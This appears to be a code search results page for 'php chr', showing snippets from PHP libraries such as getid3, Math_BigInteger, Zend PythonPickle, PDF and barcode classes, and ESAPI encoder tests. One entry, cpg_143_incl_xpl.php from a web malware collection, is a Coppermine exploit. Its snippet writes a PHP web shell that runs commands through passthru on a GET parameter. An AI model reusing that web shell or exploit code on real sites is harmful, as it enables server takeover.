PageRenderTime 1261ms queryFilters 41ms Sphinxql 372ms GetByIds 617ms meta 0ms repositoryFilters 70ms languageFilters 0ms sourceFilters 39ms

56,310 results for 'php chr repo:rkcbabu/zurmo' (1261 ms)

Source

Language

Repository

getid3.lib.php https://bitbucket.org/chamilo/chamilo/ | PHP | 1,323 lines
1<?php
2/////////////////////////////////////////////////////////////////
294			$quotient = ($number / ($maskbyte + 1));
295			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
296			$number = floor($quotient);
336		for ($i = 0; $i < strlen($binstringreversed); $i += 8) {
337			$string = chr(getid3_lib::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
338		}
346			if ($synchsafe) {
347				$intstring = $intstring.chr($number & 127);
348				$number >>= 7;
349			} else {
350				$intstring = $intstring.chr($number & 255);
351				$number >>= 8;
359		// written by kc?hireability*com
360		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
361		if (!is_array($array1) || !is_array($array2)) {
functions.php http://lazycms.googlecode.com/svn/trunk/ | PHP | 1,967 lines
1<?php
2/**
161        if (!class_exists('DBQuery'))
162            include COM_PATH.'/system/dbquery.php';
163
346                    while (strpos($vars,chr(32).chr(32))!==false) {
347                        $vars = str_replace(chr(32).chr(32),chr(32),$vars);
348                    }
493    if (strlen($content)==0) return $content; $r = $content;
494    $r = str_replace(array(chr(9),chr(10),chr(13)),'',$r);
495    while (strpos($r,chr(32).chr(32))!==false || strpos($r,'&nbsp;')!==false) {
495    while (strpos($r,chr(32).chr(32))!==false || strpos($r,'&nbsp;')!==false) {
496        $r = str_replace(chr(32).chr(32),chr(32),str_replace('&nbsp;',chr(32),$r));
497    }
1612if (!function_exists('http_build_query')) {
1613    // from php.net (modified by Mark Jaquith to behave like the native PHP5 function)
1614	function http_build_query($data, $prefix=null, $sep=null, $key='', $urlencode=true) {
PythonPickle.php git://github.com/frapi/frapi.git | PHP | 1,494 lines
1<?php
2/**
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
20 * @version    $Id: PythonPickle.php 20575 2010-01-24 17:48:27Z mabe $
21 */
23/** @see Zend_Serializer_Adapter_AdapterAbstract */
24// require_once 'Zend/Serializer/Adapter/AdapterAbstract.php';
25
102    /**
103     * @var bool Whether or not this is a PHP 6 binary
104     */
104     */
105    protected static $_isPhp6 = null;
106
158        if (self::$_isPhp6 === null) {
159            self::$_isPhp6 = !version_compare(PHP_VERSION, '6.0.0', '<');
160        }
PythonPickle.php http://grupal.googlecode.com/svn/trunk/ | PHP | 1,495 lines
1<?php
2/**
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
20 * @version    $Id: PythonPickle.php 24815 2012-05-24 08:50:24Z mabe $
21 */
23/** @see Zend_Serializer_Adapter_AdapterAbstract */
24require_once 'Zend/Serializer/Adapter/AdapterAbstract.php';
25
102    /**
103     * @var bool Whether or not this is a PHP 6 binary
104     */
104     */
105    protected static $_isPhp6 = null;
106
158        if (self::$_isPhp6 === null) {
159            self::$_isPhp6 = !version_compare(PHP_VERSION, '6.0.0', '<');
160        }
BigInteger.php git://github.com/spotweb/spotweb.git | PHP | 3,545 lines
1<?php
2/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
66 * @package    Math_BigInteger
67 * @author     Jim Wigginton <terrafrost@php.net>
68 * @copyright  MMVI Jim Wigginton
519                    $temp = bcmod($current, '16777216');
520                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
521                    $current = bcdiv($current, '16777216', 0);
664     *
665     * PHP5 passes objects by reference while PHP4 passes by value.  As such, we need a function to guarantee
666     * that all objects are passed by value, when appropriate.  More information can be found here:
687     *
688     * Will be called, automatically, if you're supporting just PHP5.  If you're supporting PHP4, you'll need to call
689     * toString().
702     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
703     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
704     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
BigInteger.php git://github.com/fuel/core.git | PHP | 3,548 lines
1<?php
2/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
40 * <?php
41 *    include('Math/BigInteger.php');
42 *
521                    $temp = bcmod($current, '16777216');
522                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
523                    $current = bcdiv($current, '16777216', 0);
666     *
667     * PHP5 passes objects by reference while PHP4 passes by value.  As such, we need a function to guarantee
668     * that all objects are passed by value, when appropriate.  More information can be found here:
689     *
690     * Will be called, automatically, if you're supporting just PHP5.  If you're supporting PHP4, you'll need to call
691     * toString().
704     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
705     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
706     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
install.php http://litepublisher.googlecode.com/svn/trunk/ | PHP | 596 lines
224        $this->tar_file = $s;
225        if($this->tar_file[0] == chr(31) && $this->tar_file[1] == chr(139) && $this->tar_file[2] == chr(8)) {
226            $this->isGzipped = TRUE;
256                $header .= str_pad("ustar",6,chr(32));
257                $header .= chr(32) . chr(0);
258                $header .= str_pad("",32,chr(0));
294                $header .= str_pad("ustar",6,chr(32));
295                $header .= chr(32) . chr(0);
296                $header .= str_pad($information["user_name"],32,chr(0));    // How do I get a file's user name from PHP?
296                $header .= str_pad($information["user_name"],32,chr(0));    // How do I get a file's user name from PHP?
297                $header .= str_pad($information["group_name"],32,chr(0));   // How do I get a file's group name from PHP?
298                $header .= str_repeat(chr(0),8);
558    //test write
559    if (!file_put_contents($dir. 'test.php', ' ')) die('Error write to test.php');
560chmod($dir. 'test.php', 0666);
EncoderTest.php http://owasp-esapi-php.googlecode.com/svn/trunk/ | PHP | 1,328 lines
1<?php
2/**
6 * Enterprise Security API (ESAPI) project. For details, please see
7 * <a href="http://www.owasp.org/index.php/ESAPI">http://www.owasp.org/index.php/ESAPI</a>.
8 *
24require_once dirname(__FILE__).'/../../src/codecs/MySQLCodec.php';
25require_once dirname(__FILE__).'/../../src/codecs/OracleCodec.php';
26require_once dirname(__FILE__).'/../../src/codecs/UnixCodec.php';
593        // test invalid characters are replaced with spaces
594        $this->assertEquals("a b c d e f&#x9;g", $instance->encodeForHTML("a".(chr(0))."b".(chr(4))."c".(chr(128))."d".(chr(150))."e".(chr(159))."f".(chr(9))."g"));
595    }
597        $instance = ESAPI::getEncoder();
598        $this->assertEquals("a b c d e f&#x9;g h i j&nbsp;k&iexcl;l&cent;m", $instance->encodeForHTML("a".(chr(0))."b".(chr(4))."c".(chr(128))."d".(chr(150))."e".(chr(159))."f".(chr(9))."g".(chr(127))."h".(chr(129))."i".(chr(159))."j".(chr(160))."k".(chr(161))."l".(chr(162))."m"));
599    }
629        $instance = ESAPI::getEncoder();
630        $this->assertEquals("".(chr(12345)).(chr(65533)).(chr(1244)), "".(chr(12345)).(chr(65533)).(chr(1244)) );
631    }
class.t3lib_cs.php git://github.com/moodle/moodle.git | PHP | 2,367 lines
195	var $lang_to_script = array(
196			// iso-639-1 language codes, see http://www.loc.gov/standards/iso639-2/php/code_list.php
197		'af' => 'west_european', //Afrikaans
751							if ($mByte > 255) { // If the local number is greater than 255 we will need to split the byte (16bit word assumed) in two chars.
752								$outStr .= chr(($mByte >> 8) & 255) . chr($mByte & 255);
753							} else {
819		// see http://php.net/manual/en/function.get-html-translation-table.php
820		$applyPhpCompatibilityFix = version_compare(phpversion(), '5.3.4', '<');
821
1394		for ($i = ord('a'); $i <= ord('z'); $i++) {
1395			$this->caseFolding[$charset]['toUpper'][chr($i)] = chr($i - 32);
1396		}
1397		for ($i = ord('A'); $i <= ord('Z'); $i++) {
1398			$this->caseFolding[$charset]['toLower'][chr($i)] = chr($i + 32);
1399		}
class.pdf.php http://ymscorp.googlecode.com/svn/trunk/ | PHP | 4,972 lines
1<?php
2  /**
1764      // figure out the additional paramaters required
1765      $pad =  chr(0x28) .chr(0xBF) .chr(0x4E) .chr(0x5E) .chr(0x4E) .chr(0x75) .chr(0x8A) .chr(0x41) .chr(0x64) .chr(0x00) .chr(0x4E) .chr(0x56) .chr(0xFF) .chr(0xFA) .chr(0x01) .chr(0x08) .chr(0x2E) .chr(0x2E) .chr(0x00) .chr(0xB6) .chr(0xD0) .chr(0x68) .chr(0x3E) .chr(0x80) .chr(0x2F) .chr(0x0C) .chr(0xA9) .chr(0xFE) .chr(0x64) .chr(0x53) .chr(0x69) .chr(0x7A);
1766
1803      // now make the u value, phew.
1804      $tmp =  $this->md5_16($user.$ovalue.chr($options['p']) .chr(255) .chr(255) .chr(255) .$this->fileIdentifier);
1805
1856   * ARC4 functions
1857   * A series of function to implement ARC4 encoding in PHP
1858   */
1891
1892    $tmp.=  chr(hexdec(substr($hex, 4, 2))) .chr(hexdec(substr($hex, 2, 2))) .chr(hexdec(substr($hex, 0, 2))) .chr(0) .chr(0);
1893
2214
2215      $this->addMessage('openFont: php file exists ' . $dir . 'php_' . $name.'.afm');
2216
cpg_143_incl_xpl.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 419 lines
187    $html='';
188    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
189      $html.=fread($ock,1);
230               $packet ="POST ".$p."login.php?referer=index.php HTTP/1.1\r\n";
231               $packet.="Referer: http://".$host.$path."login.php?referer=index.php\r\n";
232               $packet.="Host: $host\r\n";
253
254<?php $sun_tzu=fopen("./lang/chinese.php","w");
255fputs($sun_tzu,"<?php echo \"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$HTTP_GET_VARS[suntzu]);?>");
340               show($html);
341               $junk=chr(0x0a).chr(0x20).chr(0x20).chr(0x20).chr(0x20).
342                     chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20).
342                     chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20).
343                     chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20).
344                     chr(0x20).chr(0x20);
PythonPickle.php git://github.com/jaequery/jien.git | PHP | 1,494 lines
1<?php
2/**
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
20 * @version    $Id: PythonPickle.php 23775 2011-03-01 17:25:24Z ralph $
21 */
23/** @see Zend_Serializer_Adapter_AdapterAbstract */
24require_once 'Zend/Serializer/Adapter/AdapterAbstract.php';
25
102    /**
103     * @var bool Whether or not this is a PHP 6 binary
104     */
104     */
105    protected static $_isPhp6 = null;
106
158        if (self::$_isPhp6 === null) {
159            self::$_isPhp6 = !version_compare(PHP_VERSION, '6.0.0', '<');
160        }
BigInteger.php git://github.com/eryx/php-framework-benchmark.git | PHP | 3,553 lines
524                    $temp = bcmod($current, '16777216');
525                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
526                    $current = bcdiv($current, '16777216', 0);
710     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
711     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
712     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2801        // generate as many leading 1's as we need to.
2802        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2803        $this->_base256_lshift($leading_ones, $current_bits);
2910            $precision = 8 * strlen($bits) - 8 + $i;
2911            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
2912        }
3047
3048        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3049        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime') ) {
barcodes.php git://github.com/masom/Chowly.git | PHP | 1,965 lines
444		$encode = array(
445			chr(0) => chr(131).'U', chr(1) => chr(128).'A', chr(2) => chr(128).'B', chr(3) => chr(128).'C',
446			chr(4) => chr(128).'D', chr(5) => chr(128).'E', chr(6) => chr(128).'F', chr(7) => chr(128).'G',
448			chr(12) => chr(128).'L', chr(13) => chr(128).'M', chr(14) => chr(128).'N', chr(15) => chr(128).'O',
449			chr(16) => chr(128).'P', chr(17) => chr(128).'Q', chr(18) => chr(128).'R', chr(19) => chr(128).'S',
450			chr(20) => chr(128).'T', chr(21) => chr(128).'U', chr(22) => chr(128).'V', chr(23) => chr(128).'W',
450			chr(20) => chr(128).'T', chr(21) => chr(128).'U', chr(22) => chr(128).'V', chr(23) => chr(128).'W',
451			chr(24) => chr(128).'X', chr(25) => chr(128).'Y', chr(26) => chr(128).'Z', chr(27) => chr(131).'A',
452			chr(28) => chr(131).'B', chr(29) => chr(131).'C', chr(30) => chr(131).'D', chr(31) => chr(131).'E',
459			chr(56) => '8', chr(57) => '9', chr(58) => chr(129).'Z', chr(59) => chr(131).'F',
460			chr(60) => chr(131).'G', chr(61) => chr(131).'H', chr(62) => chr(131).'I', chr(63) => chr(131).'J',
461			chr(64) => chr(131).'V', chr(65) => 'A', chr(66) => 'B', chr(67) => 'C',
467			chr(88) => 'X', chr(89) => 'Y', chr(90) => 'Z', chr(91) => chr(131).'K',
468			chr(92) => chr(131).'L', chr(93) => chr(131).'M', chr(94) => chr(131).'N', chr(95) => chr(131).'O',
469			chr(96) => chr(131).'W', chr(97) => chr(130).'A', chr(98) => chr(130).'B', chr(99) => chr(130).'C',
barcodes.php git://github.com/masom/Chowly.git | PHP | 1,966 lines
445		$encode = array(
446			chr(0) => chr(131).'U', chr(1) => chr(128).'A', chr(2) => chr(128).'B', chr(3) => chr(128).'C',
447			chr(4) => chr(128).'D', chr(5) => chr(128).'E', chr(6) => chr(128).'F', chr(7) => chr(128).'G',
449			chr(12) => chr(128).'L', chr(13) => chr(128).'M', chr(14) => chr(128).'N', chr(15) => chr(128).'O',
450			chr(16) => chr(128).'P', chr(17) => chr(128).'Q', chr(18) => chr(128).'R', chr(19) => chr(128).'S',
451			chr(20) => chr(128).'T', chr(21) => chr(128).'U', chr(22) => chr(128).'V', chr(23) => chr(128).'W',
451			chr(20) => chr(128).'T', chr(21) => chr(128).'U', chr(22) => chr(128).'V', chr(23) => chr(128).'W',
452			chr(24) => chr(128).'X', chr(25) => chr(128).'Y', chr(26) => chr(128).'Z', chr(27) => chr(131).'A',
453			chr(28) => chr(131).'B', chr(29) => chr(131).'C', chr(30) => chr(131).'D', chr(31) => chr(131).'E',
460			chr(56) => '8', chr(57) => '9', chr(58) => chr(129).'Z', chr(59) => chr(131).'F',
461			chr(60) => chr(131).'G', chr(61) => chr(131).'H', chr(62) => chr(131).'I', chr(63) => chr(131).'J',
462			chr(64) => chr(131).'V', chr(65) => 'A', chr(66) => 'B', chr(67) => 'C',
468			chr(88) => 'X', chr(89) => 'Y', chr(90) => 'Z', chr(91) => chr(131).'K',
469			chr(92) => chr(131).'L', chr(93) => chr(131).'M', chr(94) => chr(131).'N', chr(95) => chr(131).'O',
470			chr(96) => chr(131).'W', chr(97) => chr(130).'A', chr(98) => chr(130).'B', chr(99) => chr(130).'C',
PythonPickle.php git://github.com/centurion-project/Centurion.git | PHP | 1,494 lines
1<?php
2/**
23/** @see Zend_Serializer_Adapter_AdapterAbstract */
24//$1 'Zend/Serializer/Adapter/AdapterAbstract.php';
25
102    /**
103     * @var bool Whether or not this is a PHP 6 binary
104     */
104     */
105    protected static $_isPhp6 = null;
106
158        if (self::$_isPhp6 === null) {
159            self::$_isPhp6 = !version_compare(PHP_VERSION, '6.0.0', '<');
160        }
194        if ($int < 0 || $int > 3) {
195            //$1 'Zend/Serializer/Exception.php';
196            throw new Zend_Serializer_Exception('Invalid or unknown protocol version "'.$number.'"');
PythonPickle.php git://github.com/michael-romer/zf-boilerplate.git | PHP | 1,494 lines
1<?php
2/**
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
20 * @version    $Id: PythonPickle.php 23775 2011-03-01 17:25:24Z ralph $
21 */
23/** @see Zend_Serializer_Adapter_AdapterAbstract */
24require_once 'Zend/Serializer/Adapter/AdapterAbstract.php';
25
102    /**
103     * @var bool Whether or not this is a PHP 6 binary
104     */
104     */
105    protected static $_isPhp6 = null;
106
158        if (self::$_isPhp6 === null) {
159            self::$_isPhp6 = !version_compare(PHP_VERSION, '6.0.0', '<');
160        }
class.pdf.php git://github.com/jstayton/QueryBuilder.git | PHP | 3,078 lines
1<?php
2/**
1027      // figure out the additional paramaters required
1028      $pad = chr(0x28).chr(0xBF).chr(0x4E).chr(0x5E).chr(0x4E).chr(0x75).chr(0x8A).chr(0x41).chr(0x64).chr(0x00).chr(0x4E).chr(0x56).chr(0xFF).chr(0xFA).chr(0x01).chr(0x08).chr(0x2E).chr(0x2E).chr(0x00).chr(0xB6).chr(0xD0).chr(0x68).chr(0x3E).chr(0x80).chr(0x2F).chr(0x0C).chr(0xA9).chr(0xFE).chr(0x64).chr(0x53).chr(0x69).chr(0x7A);
1029      $len = strlen($options['owner']);
1050      // now make the u value, phew.
1051      $tmp = $this->md5_16($user.$ovalue.chr($options['p']).chr(255).chr(255).chr(255).$this->fileIdentifier);
1052      $ukey = substr($tmp,0,5);
1082* ARC4 functions
1083* A series of function to implement ARC4 encoding in PHP
1084*/
1106  }
1107  $tmp.= chr(hexdec(substr($hex,4,2))).chr(hexdec(substr($hex,2,2))).chr(hexdec(substr($hex,0,2))).chr(0).chr(0);
1108  $key = $this->md5_16($tmp);
1324  if (file_exists($dir.'php_'.$name.'.afm')){
1325    $this->addMessage('openFont: php file exists '.$dir.'php_'.$name.'.afm');
1326    $tmp = file($dir.'php_'.$name.'.afm');
AMFSerializer.php git://github.com/dguyon/ActionScript-FriendFeed.git | PHP | 1,048 lines
587			}
588			else if(AMFPHP_PHP5 && $className == 'domdocument')
589			{
786		{
787			$this->outBuffer .= chr($d >> 14 & 0x7f | 0x80) . chr($d >> 7 & 0x7f | 0x80) . chr($d & 0x7f);
788		} 
950		{
951			return chr($d >> 7 & 0x7f | 0x80) . chr($d & 0x7f);
952		}
954		{
955			return chr($d >> 14 & 0x7f | 0x80) . chr($d >> 7 & 0x7f | 0x80) . chr($d & 0x7f);
956		} 
958		{
959			return chr($d >> 22 & 0x7f | 0x80) . chr($d >> 15 & 0x7f | 0x80) . 
960				   chr($d >> 8 & 0x7f | 0x80) . chr($d & 0xff);
PythonPickle.php git://github.com/pmjones/php-framework-benchmarks.git | PHP | 1,494 lines
1<?php
2/**
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
20 * @version    $Id: PythonPickle.php 23775 2011-03-01 17:25:24Z ralph $
21 */
23/** @see Zend_Serializer_Adapter_AdapterAbstract */
24require_once 'Zend/Serializer/Adapter/AdapterAbstract.php';
25
102    /**
103     * @var bool Whether or not this is a PHP 6 binary
104     */
104     */
105    protected static $_isPhp6 = null;
106
158        if (self::$_isPhp6 === null) {
159            self::$_isPhp6 = !version_compare(PHP_VERSION, '6.0.0', '<');
160        }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21